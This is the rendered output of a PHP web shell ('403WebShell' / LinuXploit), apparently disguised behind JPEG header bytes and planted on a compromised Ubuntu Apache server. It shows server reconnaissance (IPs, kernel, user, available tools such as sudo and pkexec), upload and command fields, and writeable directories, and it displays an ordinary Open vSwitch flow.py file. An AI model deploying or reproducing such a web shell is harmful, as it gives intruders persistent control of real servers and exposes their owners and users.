����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.148.192.220
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/lxd/29619/share/openvswitch/python/ovs/flow/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/lxd/29619/share/openvswitch/python/ovs/flow/flow.py
""" Defines the Flow class.
"""


class Section(object):
    """A flow can be seen as composed of different sections, e.g:

     [info] [match] actions=[actions]

    This class represents each of those sections.

    A section is basically a set of Key-Value pairs. Typically, they can be
    expressed as a dictionary, for instance the "match" part of a flow can be
    expressed as:
        {
            "nw_src": "192.168.1.1",
            "nw_dst": "192.168.1.2",
        }
    However, some of them must be expressed as a list which allows for
    duplicated keys. For instance, the "actions" section could be:
        [
            {
                "output": 32
            },
            {
                "output": 33
            }
        ]

    The is_list flag is used to discriminate this.

    Attributes:
        name (str): Name of the section.
        pos (int): Position within the overall flow string.
        string (str): Section string.
        data (list[KeyValue]): Parsed data of the section.
        is_list (bool): Whether the key-values shall be expressed as a list
        (i.e: it allows repeated keys).
    """

    def __init__(self, name, pos, string, data, is_list=False):
        self.name = name
        self.pos = pos
        self.string = string
        self.data = data
        self.is_list = is_list

    def __str__(self):
        return "{} (at {}): {}".format(self.name, self.pos, self.string)

    def __repr__(self):
        return "%s('%s')" % (self.__class__.__name__, self)

    def dict(self):
        return {self.name: self.format_data()}

    def format_data(self):
        """Returns the section's key-values formatted in a dictionary or list
        depending on the value of is_list flag.
        """
        if self.is_list:
            return [{item.key: item.value} for item in self.data]
        else:
            return {item.key: item.value for item in self.data}


class Flow(object):
    """The Flow class is a base class for other types of concrete flows
    (such as OFproto Flows or DPIF Flows).

    A flow is basically comprised of a number of sections.
    For each section named {section_name}, the flow object will have the
    following attributes:
     - {section_name} will return the sections data in a formatted way.
     - {section_name}_kv will return the sections data as a list of KeyValues.

    Args:
        sections (list[Section]): List of sections that comprise the flow
        orig (str): Original flow string.
        id (Any): Optional; identifier that clients can use to uniquely
            identify this flow.
    """

    def __init__(self, sections, orig="", id=None):
        self._sections = sections
        self._orig = orig
        self._id = id
        for section in sections:
            setattr(
                self, section.name, self.section(section.name).format_data()
            )
            setattr(
                self,
                "{}_kv".format(section.name),
                self.section(section.name).data,
            )

    def section(self, name):
        """Return the section by name."""
        return next(
            (sect for sect in self._sections if sect.name == name), None
        )

    @property
    def id(self):
        """Return the Flow ID."""
        return self._id

    @property
    def sections(self):
        """Return the all the sections in a list."""
        return self._sections

    @property
    def orig(self):
        """Return the original flow string."""
        return self._orig

    def dict(self):
        """Returns the Flow information in a dictionary."""
        flow_dict = {"orig": self.orig}
        for section in self.sections:
            flow_dict.update(section.dict())

        return flow_dict

Youez - 2016 - github.com/yon3zu
LinuXploit